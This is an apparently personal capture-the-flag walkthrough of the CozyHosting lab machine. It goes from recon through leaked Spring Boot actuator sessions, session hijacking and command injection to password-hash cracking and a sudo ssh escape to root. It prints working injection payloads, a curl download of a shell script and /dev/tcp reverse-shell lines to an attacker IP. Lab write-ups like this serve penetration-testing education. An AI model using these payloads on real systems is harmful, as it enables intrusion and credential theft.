CozyHosting

$machine=10.129.84.247

sudo nmap -sS -Pn -p- $machine
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-17 00:09 CDT
Nmap scan report for 10.129.84.187
Host is up (0.055s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Added the following to my etc/hosts:

$machine cozyhosting.htb

Reviewing the Site

Browsing around, we see there's a login page:

  • cozyhosting.htb/login

Browsing to the site and doing some recon, we can see it's created through the bootstrapmade and is using the NiceAdmin:

    <!-- =======================================================
    * Template Name: NiceAdmin
    * Updated: Mar 09 2023 with Bootstrap v5.2.3
    * Template URL: https://bootstrapmade.com/nice-admin-bootstrap-admin-html-template/
    * Author: BootstrapMade.com
    * License: https://bootstrapmade.com/license/
    ======================================================== -->

Additionally, looking through the page source code, we can see the login is using the POST method:

<form action="[/login](view-source:http://cozyhosting.htb/login)" method="post" class="row g-3 needs-validation">

The main page for cozyhosting.htb is comprised of Ubuntu and Nginx on the backend:

![[Pasted image 20231017113654.png]]

Performing Site Scanning

Tried doing a spider crawl through ZAP, didn't really find too much, and didn't see anything super out of the ordinary.

One of my teammates used a tool called dirsearch, I went ahead and installed this through git clone and found some interesting directories such as:

  • /actuators/beans

Searching this specific directory, I found that beans is part of the Java Spring framework. From previous professional experience, I know there have been several exploits against this particular tool.

reference; https://docs.spring.io/spring-boot/docs/current/actuator-api/htmlsingle/

Looking through some of the output from dirsearch I checked:

  • http://cozyhosting.htb/actuator/sessions

Which gave me a result of:

  • {"99132C1A463C58EB494A4C8C14037620":"kanderson"}

This seems kind of peculiar, and looks like the first part might be a token to the user, kanderson's, session.

Searched for methods to hijack the potential JWT, no luck

Starting to go back through the login page to see if we are able to use SQLi to sign in, gain credentials.

Performing SQLi Payloads

Within Burpsuite, using Intruder > Sniper on the following page:

  • cozyhosting.htb/login

Using the wordlists from:

  • https://github.com/payloadbox/sql-injection-payload-list

None of the SQLi was successful (at this time.)

Reviewing Java Spring Boot

reference; https://www.veracode.com/blog/research/exploiting-spring-boot-actuators

  1. Remote Code Execution via /jolokia

    1. Unsuccessful

    2. The Jolokia library is not present

  2. Config Modification via /env

    1. Unsuccessful

    2. POST methods are not allowed

Reviewing Web Server info

Ran another NMAP scan to review what is running on port 80:

┌─[ghost@parrot]─[~/htb/labs/cozy]
└──╼ $sudo nmap -sV cozyhosting.htb -p 80
[sudo] password for ghost: 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-17 16:35 CDT
Nmap scan report for cozyhosting.htb (10.129.84.247)
Host is up (0.060s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.59 seconds

Running the following GET request in Burpsuite Intruder:

GET /actuator/sessions HTTP/1.1
Host: cozyhosting.htb
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

We receive something that seems to maybe indicate that the actuators are running on the nginx host itself:

HTTP/1.1 200 
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 17 Oct 2023 23:15:16 GMT
Content-Type: application/vnd.spring-boot.actuator.v3+json
Connection: close
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Content-Length: 48

{"8D2F63F0E769001D43AEDA87294FA0F0":"kanderson"}

Running the below request, we see that the spring boot version is:

  • application/vnd.spring-boot.actuator.v3+json

GET /actuator HTTP/1.1
Host: cozyhosting.htb
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Length: 48

{"3A1878B593216265FED41C60DE43698B":"kanderson"}

Session hijacking

Using the token from the user kanderson, we're able to replay this through the Burp Suite proxy, and gain access to cozyhosting.htb/admin

NOTE: Double check your token is correct, as they will refresh

After some tinkering, we see that there is some light arbitrary command execution in the username field within the POST request of the following:

Eventually we can use IFS (internal format separator) to remove any whitespace in our commands.

Testing for arbitrary code execution:

POST /executessh HTTP/1.1
Host: cozyhosting.htb
Content-Length: 37
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://cozyhosting.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: JSESSIONID=043573F0F26DFFDC0022D227655DEB57
Connection: close

host=10.128.229.88&username=/bin/bash

We received an interesting response:

Location: http://cozyhosting.htb/admin?error=ssh: connect to host 10.128.229.88 port 22: Connection timed out

Tried getting a reverse TCP Shell:

POST /executessh HTTP/1.1
Host: cozyhosting.htb
Content-Length: 107
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://cozyhosting.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: JSESSIONID=043573F0F26DFFDC0022D227655DEB57
Connection: close

host=10.128.229.88&username=%2Fbin%2Fbash%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F10%2E0%2E0%2E1%2F4242%200%3E%261

Tried URL-encoding to remove whitespaces, no luck:

Location: http://cozyhosting.htb/admin?error=Username can't contain whitespaces!

One of my friends mentioned trying to use and set a variable through IFS, and after a few tries, it looked like we were getting somewhere:

Tried a few other directories for the -o parameter, but I received access denied.

AccessDenied

host=10.129.229.88&username=$(IFS=_;command="curl_-k_10.10.16.12:8000/shell.sh_-o_~/shell.sh";$command)

AccessDenied

host=10.129.229.88&username=$(IFS=_;command="curl_-k_10.10.16.12:8000/shell.sh_-o_./tmp/shell.sh";$command)

Checked for /tmp/ and bingo:

host=10.129.229.88&username=$(IFS=_;command="curl_-k_10.10.16.12:8000/shell.sh_-o_/tmp/shell.sh";$command)

response

Location: http://cozyhosting.htb/admin?error=  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current                                 Dload  Upload   Total   Spent    Left  Speed  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0curl: (7) Failed to connect to 10.10.16.12 port 8000 after 169 ms: Connection refused  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current                                 Dload  Upload   Total   Spent    Left  Speed  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0curl: (6) Could not resolve host: |  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current                                 Dload  Upload   Total   Spent    Left  Speed  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0curl: (6) Could not resolve host: shcurl: (3) URL using bad/illegal format or missing URLusage: ssh [-46AaCfGgKkMNnqsTtVvXxYy] [-B bind_interface]           [-b bind_address] [-c cipher_spec] [-D [bind_address:]port]           [-E log_file] [-e escape_char] [-F configfile] [-I pkcs11]           [-i identity_file] [-J [user@]host[:port]] [-L address]           [-l login_name] [-m mac_spec] [-O ctl_cmd] [-o option] [-p port]           [-Q query_option] [-R address] [-S ctl_path] [-W host:port]           [-w local_tun[:remote_tun]] destination [command [argument ...]]

My reverse shell script contained the following:

#! /bin/bash

/bin/bash -i >& /dev/tcp/10.10.16.12/1337 0>&1

After a few failures of trying to use chmod +x to make the script executable, I tried alternative methods:

POST /executessh HTTP/1.1
Host: cozyhosting.htb
Content-Length: 79
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://cozyhosting.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://cozyhosting.htb/admin?error=/bin/bash:%20line%201:%20bg:%20no%20job%20control/bin/bash:%20line%201:%201@10.129.229.88:%20command%20not%20found
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: JSESSIONID=043573F0F26DFFDC0022D227655DEB57
Connection: close

host=10.129.229.88&username=$(IFS=_;command="/bin/bash_/tmp/shell.sh";$command)

This landed our reverse shell, finally.

Privesc

Work on trying to upgrade our shell.

We can use which along with the following to see if we have methods of upgrading:

which python
which python3
which perl
which php

reference; https://zweilosec.github.io/posts/upgrade-linux-shell/

python3 -c 'import pty;pty.spawn("/bin/bash")'

We login and we're the user app. From some enumeration methods we tried, we know that there is a directory for /home/josh, but we are unable to access it.

Starting to run through privesc opportunities from https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

I imagine there might be a method to try and pivot from app to the user profile. So I specifically started to look for SUID / GUID opportunities.

Worked through the following:

ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null # Anyone 
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null # Owner 
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null # Group 
ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null # Other

The responses for these commands were quite lengthy, nothing really seemed to stick out.

Continued through the SUID/GUID and sticky bits.

find / -perm -1000 -type d 2>/dev/null

This found something slightly interesting, we can access /var/log/postgresql, given this is a web application, we might be able to review, dump a database.

Tried doing:

app@cozyhosting:/var/log/postgresql$ cat *
cat: postgresql-14-main.log: Permission denied
cat: postgresql-14-main.log.1: Permission denied
cat: postgresql-14-main.log.2.gz: Permission denied

No luck.

No interesting GTFObins returned from:

find / -perm -g=s -type f 2>/dev/null

Running

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or **SUID**

We again see some results containing postgres:

  • /run/postgresql

  • /run/posgresql/14-main.pg_stat_tmp

Start reviewing how to interact with posgres databases.

Pivoting around a bit, I ran find / -writable -type d 2>/dev/null, we were able to see that there's a share for /dev/shm, when we do ls /dev/shm/* we see there's a file named PostgreSQL.1814524994.

Apparently these were rabbit holes.

No Privesc needed yet

Reviewing a brief write-up, we see there were credentials in the file found in the directory you get your reverse shell in /app. The person whose write-up I reviewed mentioned you can find them via the tool jd-gui. This is a part of the Kali repository https://www.kali.org/tools/jd-gui/, but was not installed on my image.

Performed the following to pull and review the .jar file:

  • On my attacker machine executed sudo apt install jd-gui

  • Victim machine I used a Python simple server to move the file

    • cd /app

    • python3 -m http.server 9090

  • Once the server is setup, you can run curl or wget to retrieve the jar.

    • wget 10.129.209.88:9090/cloudhosting-0.0.1.jar

  • When the file is retrieved, you can do jd-gui & on your attacker machine

  • Within jd-gui, browse and open the cloudhosting*.jar file

Postgresql Enumeration

After we're able to retrieve the postgresql username and password from the .jar file we can run the following on the victim machine:

psql -h 127.0.0.1 -U postgres

Then copy and paste the password we received from the .jar file. This will allow us to access the database.

After some brainless tinkering, I used the following to further assist with navigating the postgresql database:

https://stackoverflow.com/questions/34098326/how-to-select-a-schema-in-postgres-when-using-psql

Running the following I pivoted to what seems to be the password hash for kanderson and admin:

postgres-# \dn
WARNING: terminal is not fully functional
Press RETURN to continue 
  List of schemas
  Name  |  Owner   
--------+----------
 public | postgres
(1 row)

This returns the schema of the database. Unfortunately this wasn't super useful.

Running \l will return the databases from the schema, this is where things seemingly start to move forward.

postgres# \l                                       
WARNING: terminal is not fully functional
Press RETURN to continue 
                                   List of databases
    Name     |  Owner   | Encoding |   Collate   |    Ctype    |   Access privil
eges   
-------------+----------+----------+-------------+-------------+----------------
-------
 cozyhosting | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | 
 postgres    | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | 
 template0   | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres    
      +
             |          |          |             |             | postgres=CTc/po
stgres
 template1   | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres    
      +
             |          |          |             |             | postgres=CTc/po
stgres
(4 rows)

(END)

We can then run \c cozyhosting to swap databases.

TLDR; Use the following to enumerate.

\dn # provide the schema of your database \l # list the databases within your current schema, this is is an l as in Lima \c <table name> # change databases \dt # list tables

Once the correct database is selected, we want to enumerate the tables.

cozyhosting=# SELECT * FROM users;
WARNING: terminal is not fully functional
Press RETURN to continue 
   name    |                           password                           | role
  
-----------+--------------------------------------------------------------+-----
--
 kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
 admin     | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admi
n
(2 rows)

These look like entries provided by /etc/shadow, from here we can try to use either hashcat or john to crack the potential passwords.

Doing some digging, we see that the cipher used for these is blowfish per the bcrypt documentation:

https://en.wikipedia.org/wiki/Bcrypt

Where:

- `$2a$`: The hash algorithm identifier (bcrypt)
- `12`: Input cost (212 i.e. 4096 rounds)
- `R9h/cIPz0gi.URNNX3kh2O`: A base-64 encoding of the input salt
- `PST9/PgBkqquzi.Ss7KIUgO2t0jWMUW`: A base-64 encoding of the first 23 bytes of the computed 24 byte hash

Searched around online, and we can create a file on our attacker machine with the following format:

 kanderson:$2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim
 admin:$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm

The previous format should work for john, went ahead and also tried hashcat as well. Since I seldom use these tools, I used the following to make sure my hash file format was correct:

https://hashcat.net/wiki/doku.php?id=example_hashes

Hashcat syntax as follows:

$ hashcat -m 3200 blowfish.txt /usr/share/wordlists/SecLists/Passwords/Cracked-Hashes/milw0rm-dictionary.txt 

The file contained the following contents based off the above link for example hashes:

$2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim
$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm

Further verifying some additional command parameters to use for john:

https://www.kali.org/tools/john/

We see we can use the following:

john --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt

This will explicitly use the bcrypt format when sifting through possible matches which should expedite the decryption.

Once we receive the password we can go ahead and try to sign-in with the user we observed earlier during our enumeration during our proxy requests.

User

SSH to the victim with josh@<machine_ip> with the newly cracked password.

User flag obtained!

Enumerating to root

Performed the following quick checks:

josh@cozyhosting:~$ sudo -i
Sorry, user josh is not allowed to execute '/bin/bash' as root on localhost.

No luck, try to review if we can run any commands as super user:

josh@cozyhosting:~$ sudo -l
Matching Defaults entries for josh on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User josh may run the following commands on localhost:
    (root) /usr/bin/ssh *

Bingo, we have a GTFObin here!

https://gtfobins.github.io/gtfobins/ssh/

sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x

That's a wrap on this box!